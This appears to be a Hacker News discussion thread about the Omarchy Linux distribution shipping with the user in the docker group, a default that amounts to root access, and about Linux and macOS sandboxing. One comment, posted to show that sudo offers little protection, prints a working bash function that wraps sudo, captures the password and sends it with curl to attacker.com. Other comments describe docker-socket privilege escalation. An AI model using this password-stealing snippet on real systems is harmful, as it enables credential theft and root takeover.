A few days ago someone found they were flowing USB descriptors straight into the shell.<p><a href="https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8537d62a4cd5506a803d89" rel="nofollow">https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8...</a><p>Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?
But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here?<p>Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions online tell you to make yourself part of the docker group for convenience (like the digital ocean one).
> What is different here?<p>I don’t understand how this is a question.<p>What’s different is that it comes configured this way out of the box, silently, without warning. It’s functionally equivalent to opting in to giving all user accounts root privileges, which is not what anyone expects the default configuration to be.<p>You can choose to configure your installs this way if you choose to do so. It should not come this way quietly by default.
> I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year.<p>You may do that, but I don't. I always use sudo to manage the few docker containers I need, and I prefer podman where possible specifically because I can run it rootless.<p>If you want to give your user passwordless root for convenience, go ahead, but that should never be the default.
> I always use sudo to manage the few docker containers I need<p>I'm afraid that isn't really any better. If the attacker is in position to exploit membership in the docker group, he already has access to the user's .bashrc. He can simply write a function called sudo that wraps the real command and records your password[1]. Unless the user always invokes sudo with /usr/bin/sudo, docker group membership doesn't really make a difference.<p>Once malware runs as an administrator, getting access to root isn't really that complicated. The boundary between wheel and root is more or less security theater.<p>[1] <a href="https://gist.github.com/tokyoneon/34ce1c9e1530a12eb392b1eab09fcbac#file-sudo" rel="nofollow">https://gist.github.com/tokyoneon/34ce1c9e1530a12eb392b1eab0...</a><p>Edit: Oh well, I see now that others have made the point (<a href="https://news.ycombinator.com/item?id=49500588">https://news.ycombinator.com/item?id=49500588</a>). With the same wording even. I'm half-way tempted to delete my comment so as not to look like a plagiarist, but it seems many posters are unaware of the vulnerability, so I'd leave it here.
A distro should be secure-by-default. Omarchy’s design here was insecure by default while the docs have the impression that Docker might be running rootless. Pairing insecure defaults with docs that claim better security is bad.
>Everybody knows this.<p>I didn't know this.
This. Was also super confused when I saw the post. Like every docker guide literally screams at you when you use rootfull docker. Either add yourself to the docker group with `newgrp` for a termimal session or use rootless docker.
People hate DHH and AI, so whatever he does or what is done with AI is ridiculed.
Could you point to things that are not glaring security vulnerabilities that are ridiculed in the same way?
His blog posts about immigrants?
You specifically called out security vulnerabilities, but the point missed by the commenter you are replying to is that people who ridicule something originating from DHH or AI are generally not based on <i>nothing</i>. "People just hate X no matter what" is almost always a low-quality complaint, for most values of X.
Bun.
I've got nothing against DHH or AI. I just don't think vibe coding works well for systems of this scale.
That remains to be seen. The whole concept is still in its infancy. An AI reviewer should have caught these issues when they were PRs.<p>But you see, it wasn't even a PR. It was just DHH making a straight up commit on the main branch (as far as I can see). With a message "Do all the additional Docker configuration needed". Was it even AI-assisted? At least the commit message wasn't, AIs write smarter commit messages than that.<p>I said on my earlier comment that DHH and AI get ridiculed automatically because people hate both. That doesn't mean that the ridicule isn't always justified.<p><a href="https://github.com/omacom/omarchy/commit/25799ee91f54c35e6d340df3aae8ac2b21fae0a4" rel="nofollow">https://github.com/omacom/omarchy/commit/25799ee91f54c35e6d3...</a>
No no, be fair -- some of us ridicule <i>everyone</i> using AI <i>and</i> the slop they get it to extrude.
the unfortunate thing - is the money pumped into omarchy + the hype around it .... a lot of sheepish followers will just follow the hype.<p>the tech might gets fixed later.
On the flipside, once you use an OS that is totally open to agentic stuff, there's no going back really.<p>I can open Pi and ask it to fix some window tiling issue, help me install shortcuts, help me figure out how to install flatpak vs appimage, etc. the list is endless. I cannot see myself going back to a legacy OS unless I'm forced to by my job for compliance reasons.
Other than hype, what's the appeal here?<p>I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.
There's definitely appeal in key-driven window managers in general. Projects like i3 and Niri are popular. But you can get that with any Linux distro (albeit not many have it set up that way by default). You don't generally choose a distro just for whatever DE/WM it happens to start with.
Well the whole point is to have a good foundation and then make it actually yours, and the only necessary key binds are probably SUPER+K for the key bind cheatsheet and SUPER+SPACE for the menu.<p>Also the community is large so there's usually someone that has already had your issue and resolved it. The amount of themes and plugins are growing everyday.<p>A bare arch+hyprland install really feels terrible to use and has a much larger barrier to entry than Omarchy.<p><a href="https://plugins.omarchy.org" rel="nofollow">https://plugins.omarchy.org</a><p><a href="https://omarchythemes.com" rel="nofollow">https://omarchythemes.com</a>
What I don't get is that VS Code has solved this perfectly via the command palette - you just bring up the prompt and start typing and it will find you the command you actually need without having to memorize anything.
I just switched over to it from Ubuntu. So far the nice thing is that it gives you a fully decked out hyprland setup without any of the hassle and pretty good UX.<p>The problem I've always had with trying out a tiling window manager like hyprland is you're going to spend a very long time trying to get everything just right. With Omarchy I get a really nice hyprland setup right out of the box.
That is the appeal. It's an opinionated distro designed around keyboard navigation.
It is kind of nuts how little attention this more-than-controversial-enough aspect of it gets compared to anything else, to the point people don’t even know this about it.<p>I happen to hate Omarchy for the precise reason I don’t want that sort of interface, but apparently everyone else does, and if they do that’s up to them.
I got here because it was the first time I saw a tiling window manager on an Omarchy video. I was on windows my entire life, so when i saw it and how bad windows got, I decided to give it a try. A few months since I de-omarchyfied the system and went straight back to arch. And now still on it.<p>I should have gone with something like cachyos as games are important to me, but I think at the time hyperland wasn't an option (i don't remember). I know it is now.
On average, you can either have a discoverable GUI for noobs, or a configurable, keyboard driven system that's a giant pain to learn and configure.<p>Omarchy aims to find a middle ground between those two.
Being hyprland keybinding skilled removes a lot of the desktop interaction surface, it's a worthwhile investment. People who've used tiling window managers for a while will tell you that it gets natural at a point, then a whole class of friction that normal WMs cause just goes away.
> I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it.<p>Whoa! You have to _learn_ something to use it well? Yikes. Not for me.
I for one hold out for them releasing an optimized XFCE variant - don't by any means dislike keyboard driven software but I like it as an extension of a regular functional UI experience not as a "argh the windows are stuck in xyz pattern until I re-remember xyz combo"-experience: the UI surface is not the speed limit in my optics, rather it is the apps I use or (increasingly due to local AI) the computational hardware limits of my machine.
Vibecoded fixes are quicker
"Someone" didn't find that, AI found it. So it's not clear what your point is about vibe coding. Would humans have noticed this problem, especially given that it's not remotely exploitable? (you have to plug in a malicious USB device).
It’s that age old “start a docker container with the docker socket in the container and you are effectively root”. What are we talking about here? This is not new?
I think they mean that Omarchy is pretty much vibe-coded. Probably just an assumption.
The fact comments like this get downvoted because what they say is inconvenient is one of the major signs AI has fundamentally broken HN.<p>It was already hard to have technical conversations in public, now there is a contingent determined to make it utterly impossible, and they are succeeding.
It's definitely not why *I* switched away from Windows
You didn't switch away from windows to get superior software?<p>Also, the statement was valid because it will be true for most. It doesn't matter that you read it and it wasn't true for you, as long as it's true by the numbers, it's true, because it's one-to-many communication not one to one.
While I don't want to discuss the quality of any distro vs Windows, there is a big reason most of us use free software: because it is <i>free</i>.
Whether for you it is because of free as in freedom or free as in beer specifically, quality may not have much to do with it.
> Also, the statement was valid because it will be true for most.<p>The statement seems more like a preconception than data.
This seems to be quite contrarian considering we had this on the front page of HN the other day: "Debian votes to allow "responsible use of generative AI".<p>I guess this LLM coding wasn't "Responsible" enough. hahaha<p>Let the AI bubble pop baby
I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does.<p>(example: NetworkChuck, Primeagen? and a few others)<p>also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it<p>[1] - <a href="https://wiki.archlinux.org/title/Archinstall" rel="nofollow">https://wiki.archlinux.org/title/Archinstall</a>
I think this is more about the UI, rather than the install. I haven't tried it myself though.<p>I think nowadays using quickshell anyone who is so inclined can vibecode their own UI though. I recently made the switch to Wayland/hyprland and rebuilt my polybar on quickshell, even adding widgets that allow getting system info/fine grained system control (interactive Bluetooth, WiFi, Volume, Brightness etc).
Ah yes, the solution to software with massive security holes is for everyone to vibe code their own software with massive security holes.<p>But in all seriousness, I am running omarchy now, and I will almost definitely be switching to arch at some point in the future.
I had just enough issues with archinstall the last time I tried it that I went back to EndeavourOS which essentially gets you a GUI installer and some pre-installed utilities on the stock Arch install. The only significant change I'm aware of is that they use dracut instead of mkinitcpio.
Add that annoying theo guy to that list. Cant stand these people, they confidently push out videos like they're experts, a week later it turns out whatever they were talking about was total crap and they've already abandoned it - case in point OpenClaw. Look at the mess of videos those named above put out about it, not a single one uses it anymore.
Sadly, true. I know a person who gets AI news from that YouTuber and quotes him like he’s a household name and pays him for some repackaged chat models. It’s tedious and hard to talk to them about basic/remedial aspects because their education from YouTube is half-heard and superficial. I’m trying to get him to invest the time in hands-on experience and then we can talk about that. When you’re deep into these channels, you’re not gaining experience and you can’t easily start until you pull away.
There is only so much a human can master in his lifetime. And if you choose to master the art of video production, then you are probably not spending that much time on mastering the thing you yap about on camera…
Not a single mention of Pirate Software yet?
as primarily influencers they make money from your attention, not from promoting or making good software.
Just use Fedora. It just werks (most times).
[flagged]
> As a developer who mostly wants a Mac-like Linux distro without the associated noise<p>I'm required to use Ubuntu at work. Coming from Mac, apart from the menu bar at the top, on Gnome, I've been able to customize the keyboard shortcuts, remap the keyboard so that Ctrl works like Cmd, and use extensions like Dash to Dock[1] and themes like Whitesur[2] to replicate something that almost works like a Mac.<p>The keyboard remapping and customizing keyboard shortcuts were all done within default the default settings app.<p>The only things missing are some keyboard shortcuts like Ctrl+A/V to move to the beginning and end, and the Ctrl+Shift+C/V behavior on the terminal instead of Cmd+C, which I've just worked around by using VSCode's terminal and configuring it to copy when I press Ctrl+C with some text selected.<p>[1] <a href="https://extensions.gnome.org/extension/307/dash-to-dock/" rel="nofollow">https://extensions.gnome.org/extension/307/dash-to-dock/</a><p>[2] <a href="https://github.com/vinceliuice/WhiteSur-icon-theme" rel="nofollow">https://github.com/vinceliuice/WhiteSur-icon-theme</a>
Why doesn't Ubuntu fit the bill? You can even install hombrew on it. Everything works like a mac with no fuss.<p>Also the only reason I left Linux was due to hardware. Ubuntu was convenient enough.
There's no reason to use homebrew on Linux. Your package manager is better in every respect.<p>Just don't.
Homebrew is like giving a bunch of wikipedia randos remote shell access to your computer. There is no enforced code review policy. Any maintainer can make a commit under a pseudonym and merge their own code to main without review.<p>Homebrew should not be allowed near any machine you need to be able to trust.
> In a different way you can see this in this thread where instead of discussing why Omarchy has the bug<p>There's nothing interesting to discuss. Rootless OCI-compliant containers exist, and Omarchy ignored them. The "convenience" of the solution they chose simultaneously opens an enormous attack surface that the maintainers didn't consider.<p>This is why I don't believe the "give me a macOS distro" people - even Apple wouldn't do this. If you want a preconfigured Mac-like distro, then you should use GNOME and not a pre-riced desktop with hundreds of dotfiles. You don't <i>have</i> to use Arch either, you can go with a graphical install of Fedora or CachyOS if you want. This will give you a system that you can understand, maintained by people with a minimum standard of quality, that actually resembles the workflow of macOS. There is no Niri or Sway rice that will magically make your system make sense, and this is why I think a lot of the Mac and Windows expats should just use a normal desktop.
> There's nothing interesting to discuss. Rootless OCI-compliant containers exist, and Omarchy ignored them.<p>Why Omarchy chose to ignore all the rootless OCI-compliant containers; and also why docker itself isn't rootless yet is a pretty interesting thing to discuss. I'm not aware of the specifics being a Mac user myself, but others in the thread (e.g. here <a href="https://news.ycombinator.com/item?id=49500186">https://news.ycombinator.com/item?id=49500186</a>) say that podman still doesn't work 1:1 with docker exactly.<p>If you disagree, <i>that's</i> a reasonable thing to discuss; but otherwise just saying "ha ha just use the rootless thing" is missing the point.
> if you encounter a problem with Arch and ask about it<p>It's probably already documented on Arch wiki or it's a generic Linux issue that has already been solved by someone (that has been my experience with Cachy).
Omarchy seems to be pentested by a bunch of angry haters. Who's pentesting your arch install? :P
Omarchy imo is best for agent maxxing Mac power users who aren't locked into Apples proprietary apps like Final Cut, audio production software or Adobe and Affinity, so maybe not so great for designers and photographers as the main system.
Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell and reconfigure the terminal emulator to run it.<p>So this kind of "vulnerability" doesn't seem that important. If you run code as yourself on Linux it owns you.<p>On macOS it's very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can't easily escape. The kernel can then impose sandboxing policies on any app that's run regardless of how it's installed, for instance, preventing apps from rummaging through ~/Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it's only really there for UNIX compatibility.<p>Unfortunately implementing an Apple style architecture on Linux would be very difficult.
Its opposite. Windows and MacOS lacks proper sandboxing. While openbsd has pinsyscalls and linux has seccomp-bpf. Windows and MacOS only have filesystem and worse version of user namespace sandboxes, anything else and you need to write a kernel extension or rely on a hypervisor.<p>> Unfortunately implementing an Apple style architecture on Linux would be very difficult.<p>The apple apps kind of thing already exists and its called flatpak.
Windows has virtualisation based sandboxing and NT has object-level security (albeit not often used correctly and granularly) and macOS has for example SIP and a subsystem, called sandbox that does exactly what it says: it sandboxes. It can sandbox in comparable namespace terms (like cgroups v1 or v2, but more in translocation style execution since it's a MAC framework) yet it also does it a much more fine-grained level depending on what you need. It is used by launchd and applications by default, some entitlements require it so if you want to do some broad kind of elevated application, you also have to have a specific sandbox profile. It's also been around for 16 years, and comes with a ton of examples if you wanted to use it yourself to constrain some process. Yes, it can do filesystem (would be pointless without it), but also does ipc, io, network, memory, fcntl, sysctl, mach ports, sys calls, processes, ui, sockets, messaging, events and all of that including context-aware filtering and compound matching for all of them. And if that's not enough there is also ESF and NEF, the latter only working on networking. You can compare those two to eBFP LSM and XDP. If you want all of this on linux, you'll need to add a lot of custom eBPF and LSM as well as always run in a hypervisor for guaranteed IOMMU usage, but you can't use bare KVM for that either, so you'll either need to never touch the privileged kernel (not even give it a console) or you need to run Xen and use XSM.<p>Flatpak is just a cheap container copy. Can't do anything beyond what cgroups and things like apparmor and selinux can do, and uses a runtime to do soft higher-level policy functions that translate down to the same primitives. If anything, it's a great bundler, but doesn't do anything new policy-wise.<p>So, can you get the macOS-level capabilities (both low-level and higher abstractions)? On Linux, yes, but they don't exist yet. On Windows: technically possible, but since that would break most GUI workflow it's not likely that anyone is going to bother, and you're going to have a hard time recompiling windows yourself to make that happen.
> Unfortunately implementing an Apple style architecture on Linux would be very difficult.<p>On desktop Linux as we know it, yes, but Android manages it alright, mostly via SELinux+seccomp.
> Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works.<p>As a QubesOS user, I beg to differ. Just because most Linux distros are negligent with sandboxing does not mean all of them are.
> Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works.<p>I’m sorry, what? MacOS’s desktop sandboxing is <i>pathetic</i>. Sure, it kind of sort of tries to prevent an application from rummaging until you give it permission. And that permission is hilariously coarse grained, and it gets regularly broken anyway. (Seriously, read about TCC breaks. They’re not little implementation errors — they’re giant gaping holes in the whole concept.) The entitlement mechanism basically serves to help Apple restrict what developers can do without meaningful protecting Apple’s users.<p>If you think that it protects you when your Mac prompts to ask whether Terminal.app may access Documents, you are welcome to enjoy your warm fuzzy feelings.<p>> Unfortunately implementing an Apple style architecture on Linux would be very difficult.<p>Why would it be difficult? I think that mostly it would reveal to whomever implemented it how useless it is.<p>If you mean sandbox-exec, you can do this on Linux, too. And the Linux mechanisms are not considered deprecated and undocumented, whereas Apple steadfastly refuses admit that sandbox-exec is a real mechanism.
There can be exploits in any security system but the architecture is sound. There's no equivalent of TCC on Linux (I mean one that really sticks), and no easy way to create one.<p>The sandboxing isn't bad. It's obviously weaker if you do everything in the Terminal and stay in old-school UNIX territory because it wasn't designed to sandbox developer workloads. But it's a lot better than nothing, which is what Linux offers.<p>The OS does actually protect you when it asks if the terminal should be able to access ~/Documents. You can say no, and then random stuff you curl|bash can't read files in that folder unless there's an exploit. Apps that opt in to app sandboxing are much better protected and can store files/settings in an area of $HOME that other apps can't access at all without the right permissions.<p>It would be difficult to do on Linux because an Apple style architecture requires apps to systematically use the blessed OS APIs for functionality. Not only for things like file pickers but also camera access, storing preferences, etc. In Linux it'd require the architecture to be tied to a specific desktop environment and associated set of apps. There's not enough consistency otherwise.<p>It also needs pervasive kernel enforced app identity and equivalents to Apple's bookmarks, Mach context propagation, SBPL, app containers architecture etc.<p>It also needs an agreed on way to handle malware reporting and detection, out of the box, and some authority that's trusted to hand out sensitive permissions (for writing debuggers, if nothing else).<p>You can hack something together with bits and pieces Linux has, and define a way to write apps that delivers something like Apple's architecture - as Android has - but that won't bring the ecosystem with you. And it will suffer from a high degree of centralization where distributors have to approve every app, with any app you get outside your distro's package repositories being a free for all. Apple's architecture allows apps to be distributed outside the app store while still being sandboxed to a lesser or greater extent, as well as scanned for malware ahead of time and located anywhere on disk (by extension, you can have >1 version of an app installed at once and sandboxing still works).
Mac users always like to defend some of the things Apple legitimately got right over most Linux distros, but always ignore that supply chain security and standard package management security on Apple (Homebrew) is akin to giving a bunch of internet randos root access to your machine with no oversight, vetting, or code review of any kind. At least most Linux distros do basic package signing.<p>Someone even thinking it is reasonable to try to use a mac to manage production would be grounds for me to ensure they never have production access.<p>Also, QubesOS is a thing, therefore QubesOS Linux users have way way better access to sandboxing than MacOS -and- signed devtools packages.
> The OS does actually protect you when it asks if the terminal should be able to access ~/Documents. You can say no, and then random stuff you curl|bash can't read files in that folder unless there's an exploit.<p>If you say no, you can’t use less or cat to read your documents. If you say yes then you are completely unprotected, forever, from anything you might run from the terminal.<p>> It also needs pervasive kernel enforced app identity<p>Doing <i>like MacOS</i> needs app identity. But this model is just wrong, because it answers the wrong question. Determining, once, whether Microsoft Word or VSCode may access all your documents, means that any Word <i>document</i>, using valid scripting or an exploit against Word, may access all your documents, and it means that you are fully exposed to anything you look at in vscode (as vscode has almost no security).<p>The right questions would be: May <i>this document</i> access <i>this file or folder</i>? May <i>this project</i> access anything outside its own folder? May <i>this Python script</i> read your screen? May <i>this AI agent session</i> access <i>this USB device</i>? Kernel-managed app identity is completely unhelpful for any of this.<p>(Frankly, kernel managed app identity seems unnecessary for most of what Mac does, too. App identity could be set by whatever launches the app, so long as the app’s resulting privileges are not allowed to exceed those of the launcher.)<p>> And it will suffer from a high degree of centralization where distributors have to approve every app<p>Please elaborate.<p>Sure, if you actually think that an Apple-like entitlement system protects you well, then I guess that a non-Apple entitlement system would need some trusted authority to grant entitlements. I do not think it protects anyone very well even if Apple, as the entitlement granter, is considered fully trustworthy.
The right right question would be: why aren't we enforcing a document to be self-contained? Why are documents agents? Why can any document access anything or indeed, do anything? That's not a document, that's a program!
> it doesn't have any kind of proper desktop sandboxing architecture that really works.<p>Bubblewrap works.
Bubblewrap is a less powerful version of sandbox-exec, but the macOS architecture is much larger than just that. In effect macOS runs <i>everything</i> under bubblewrap, in such a way that users don't notice but apps are meaningfully sandboxed and root exploits barely matter.
and Firejail
It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.
It is one thing to do things the risky way on your own system and another thing to ship an unsafe and unconventional default to your users.
For a single user, opinionated, modern, developer focussed OS, this is completely and utterly on par. Using docker as a developer without this is just plain annoying.
Docker can be run rootless. It is so easy. No excuse for desktop distros to not do this by default. And that is why all major Linux distros are just as bad as Omarchy (Not recommending MacOS or Windows either as those are wildly worse)
Using Docker instead of podman is the first mistake and that is a distro decision (or a "chef" decision, in Omarchy parlance...)
>when it’s a very common setup to add regular user to the docker group.<p>As an official configuration? Or in random copy paste guides? The former is very different than the latter. It's not uncommon to disable sudo passwords, but it would be considered a serious security lapse if that were the default on some OS.
Adding your user to the docker group is in the official Docker install instructions, I wouldn't call that "random copy paste guides".
You mean the <i>optional</i> post install instructions, which is a separate page from the main install instructions, and contains a giant warning about the security implications?<p><a href="https://docs.docker.com/engine/install/linux-postinstall" rel="nofollow">https://docs.docker.com/engine/install/linux-postinstall</a><p>If the official sudo project had a guide on how to disable passwords, that shouldn't be taken as endorsement of having that as a default config.
The methods are described on the official docker website, not just random blogs or SO pages. There are caveats about security, of course, but it's not truly discouraged.
You mean, just how it is on Windows?
Exactly! I was also surprised by this — that's a sensible default for many people.<p>However, I agree that it should be opt-in. Docs should be more explicit about that too, they should warn users about risks of going with that option. That excerpt mentioned in the article was rather misleading.
> but I’m not sure this should be framed as Omarchy-specific,<p>Adding the user to the docker group by default, out of the box, is Omarchy-specific.<p>EDIT: More accurately, was Omarchy specific, until they realized that it's not a good idea and changed it.
It's absolutely not Omarchy-specific, Ubuntu has the exact same vulnerability out of the box, just with lxd instead.
This also seems like one of the more common things LLMs use to priv escalate themselves when not given root access, seems like a rather common misconfiguration.
To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.<p>Malware just need to put this in ~/.bashrc and wait:<p>function sudo () {<p><pre><code> realsudo=$(which sudo)
read -r -s -p "[sudo] password for $USER: " password
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
$realsudo "${@:1}"
}</code></pre>
Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""
Flatpak uses Portals to let the user grant access to different files/directories, apparently they don't have access by default: <a href="https://docs.flatpak.org/en/latest/sandbox-permissions.html" rel="nofollow">https://docs.flatpak.org/en/latest/sandbox-permissions.html</a><p>I was also unable to find any Flatpak that has access to the home directory when installed, you may well be right but I couldn't find any. I used Flatseal to verify the permissions: <a href="https://flathub.org/en/apps/com.github.tchx84.Flatseal" rel="nofollow">https://flathub.org/en/apps/com.github.tchx84.Flatseal</a><p>I'm also of the opinion that we generally shouldn't use software that we don't absolutely trust. That has kept my .bashrc (and other files) safe so far.
I don't think flatpak allows access to hidden files so even those with access $HOME cannot do this.
But if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code.
Funnily enough it wouldn't work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking "Hmmm weird" but still want to proceed forward ¯\_ (ツ)_/¯
Sudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID.
But very few people are using their systems in ways that fit the Unix security model, which was designed for multi-user mainframes with only trustworthy software.
I challenge anyone to name even one thing that requires sudo on a Linux desktop not better handled with systemd user units, Linux Capabilities, rootless docker, etc.
Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.
You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.
> You need root in order to overwrite sudo in the first place I think<p>You just need write access to .bashrc or similar.<p>> This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges.<p>Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey.
Look at the excerpt. They're not overwriting the sudo binary. The attack vector is real for malware running on a administrator user session which can be escalated to root via sudo.<p>It's a niche, but it's real. Esp. if you're targeting npm installed user scripts or similar
No, the above attack writes that function into bashrc, meaning the next time the user runs sudo themselves, you harvest their password.
You do not need root to run that shell function, nor to get it loaded into a shell's environment.<p>They didn't say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required.
What? Why is sudo security theater?
Any user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root.
It’s not, but the grandparent does point out 1 major flaw with sudo being a typically command that goes through normal path discovery. It makes it easier to escalate from a compromised user account to a compromised root account, since the end user is likely to type the root password into a command that can be shadowed in their user space.
Because it is trivial for unprivileged malware to phish the password and escalate to root. No production system should ever ship with sudo.
You do realize you can do the exact same thing on macOS? Just alias sudo to whatever you want. BSD I assume you can do the same with doas.<p>No desktop system is safe from your attack, unless you take specific precautions like chattr on the file or chmodding your home directory, but that can lead to weird breakage.
Wow... this is really telling. This isn't some obscure whoopsie. The docker install page has a giant section explaining exactly this problem. Every Docker section on every distro wiki walks through this issue in detail. It 80% the reason Podman was created in the first place.
The Docker configuration issue was reported and changes were made quickly to address it. Sounds like this is a great example of the system working well.<p>Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there's an agent harness ready to help them manage their machine and use free software, even the stuff that's a bit obtuse.<p>I'm bewildered that people are mad about any of this, but then I remember I don't care what the gatekeepers think anymore.
[delayed]
Why not use rootless podman? It is 2026 not 2016, Podman works much better than Docker today.
I've used docker until recently just because it was what I was used to. It turned out I can basically just `apt install podman` and it'll just work. I might have stayed a bit behind the times with having podman slotted as a redhat thing.
The article specifically calls this out as a preferred option.
that's what I do and what the author recommends as well
Somehow I doubt DHH and company would be OK sacrificing ""developer experience"" for security... There is still a non-trivial amount of docker-compose files and Docker incantations that don't work 1:1 with podman and podman-compose. Adjusting them would require Omarchy's users underatanding podman, and I doubt this will align with the opinionated nature of Omarchy..
Omarchy is an agent first experience, no? <i>just ask your agent!</i>
Come on. I am sure you don’t like DHH. But he’s always taken security seriously in Rails.
Shopify forced him to be a vibe coder now. Omarchy is a vibe coding distribution.<p>In the AI world, security issues are just another marketing opportunity.<p>EDIT: Downvote all you want. He was anti-AI, got a board seat at Shopify and then became an AI influencer. Now additional money is rolling in to Omarchy from Lütke and Steinberger.
It's really disturbing that there's a group of these CEO/investor types that are openly white nationalists, and they're joining forces. I'll never touch any of their products, and I hope they continue to expose themselves on social media.
As I said, podman requires effort and thought on the user's side, as the rootless part incurs complexity. I do not think that this aligns with the omakase mantra of omarchy. I do not think that DHH does not take security seriously. I think that Omarchy is not meant to sacrifice devex for security.
Rootless Podman (and rootless Docker for that matter) is not difficult to set up automatically. There is a little complexity involved, namely in configuring subuid and subgid mappings, but not much.<p>That said, I think Arch Linux itself has a culture that values the wrong kind of simplicity (implementation simplicity) that perversely leads to a failure to adequately grapple with <i>inherent</i> complexity. This leads to brittle implementations, "buyer beware" norms, "you should have run the notes", "this command should never be used", etc. Omarchy inherits all of that from Arch. It also, it seems, carried its own perverse notion of "simplicity".
I was not referring to the setup complexity. Setup is performed just once. I was referring to the runtime complexity that comes naturally from having to take into account non-root user permissions and lack thereof. These peculiarities are quite a low bar, but they are still a non-trivial hurdle in the way of devex.<p>I am a fedora/opensuse user and happily use podman <i>with</i> selinux.
because the distro is all about convenience over security, while selling an aura of technical superiority. Which is the modus operandi that worked for the distro author in the past, when he sold VPS with a big markup, because he also gave a script that did "ssh vps -- curl somebashscript" to do basic webdev taks.<p>> The security tradeoff was made for them, applied to the default account, and the tradeoff was not explained to the user.<p>just like the vps era. it's all about convenience.
Yes ok, but the moment <i>you</i> gain user access to <i>my</i> machine, I've already lost. The amount of damage you can do as root is about the same you can do as me.
I had no idea what Omarchy was, so I looked it up: <a href="https://omarchy.org/" rel="nofollow">https://omarchy.org/</a><p>Is there a name for a phobia of yt thumbnails?
Installing docker by default is completely insane. What are they doing? Rootless podman has been around for many years at this point.
The docker escalation 'trick' is even a meme at this point
As expected from a vibecoded "distro"
Somebody should do an audit of Omarchy Plugins: <a href="https://plugins.omarchy.org/" rel="nofollow">https://plugins.omarchy.org/</a><p>They run completely unsandboxed and are unvetted.
I hate to be defending Omarchy but I think for the modern desktop OS like Linux or Windows or Mac OS, "root" is not what it used to be.<p>Like if I have something on my dev machines which is important from an enterprise perspective it is the credentials that I use to check things into the git repository or log into the postgresql database that are in some file or keyring or the credentials I used to log into some corporate IT system with my web browser. Or the Microsoft Word document with confidential plans, or the spreadsheet with personal data on 30,000 people that I don't really need to have, etc.<p>The "root" barrier is of limited effectiveness against those sort of attacks but the barrier between users is less important on a personal computer as opposed to the "minicomputer" world that gave birth to Unix.<p>In 1989 my school had a cluster of Sun Workstations running Unix for which student, faculty, and staff had accounts and it was a real threat model that you might steal the homework assignment of another student or you might take screenshots of the screen of the computer center's director that would let you watch him reading his email his email and such.<p>I more concerned that Apache is running under a "httpd" account or IIS is running under its own account so that I do have controls on what can be exfiltrated by that route but...<p>The modern developer is likely booting up a sinatra or JAXB or a httpx server on some high numbered port running as their own user so if they're going to get hit with data exfiltration or remote execution against a dev server the scope is most user files.
Barely related, I decided to move on. Linux has been weaponized for self-promotion. So I'm happy just working with Beastie these days.
anecdotal and fwiw, Omarchy is the first distro that "stuck". I've been using it on my desktop for a year now. I use it for personal projects and light gaming via Steam. Personal MacBook is only used when I want to compute on the couch. Work computer is also a MacBook. But everything else, Omarchy desktop.<p>Previous attempts with Ubuntu and PopOS! never stuck.
Debian 13 is good.
There were many amazing distros before Omarchy and there will be many after. Use whatever you want, vibecoded or not. Don't tell people what to do. Make your own decisions.
OK... and? This doesn't matter for a desktop, because:<p>1. Having access to the user's home directory is way more serious than being able to install drivers or whatever<p>2. There are a million other ways to escalate to root by obtaining the user's password<p>I also don't understand the point of these distros, just install Arch with KDE via archinstall, it literally takes 15 minutes. Why is it that people feel the need to use someone's Arch setup?
The point is that there are millions of people out there that are curious about Linux but are put off by anything command line. Distro like this, especially Quatro which has a big focus on agents, makes it more inviting and gives people an instant path to get help/have their problems solved without them having to search archaic error messages
Because they like their Arch setup?
Because installing Omarchy is three to five minutes at most so three to five times faster? XD
<a href="https://xkcd.com/1200/" rel="nofollow">https://xkcd.com/1200/</a>
Because it looks cool and DHH makes a lot noises that sounds like you should listen to him.
I genuinely put companies that invested in this on my blacklist. I don't care about the politics behind it. His whole persona is and was to be edgy and cruel so nothing will change here. But there are probably millions of oss projects that deserve the funding more.
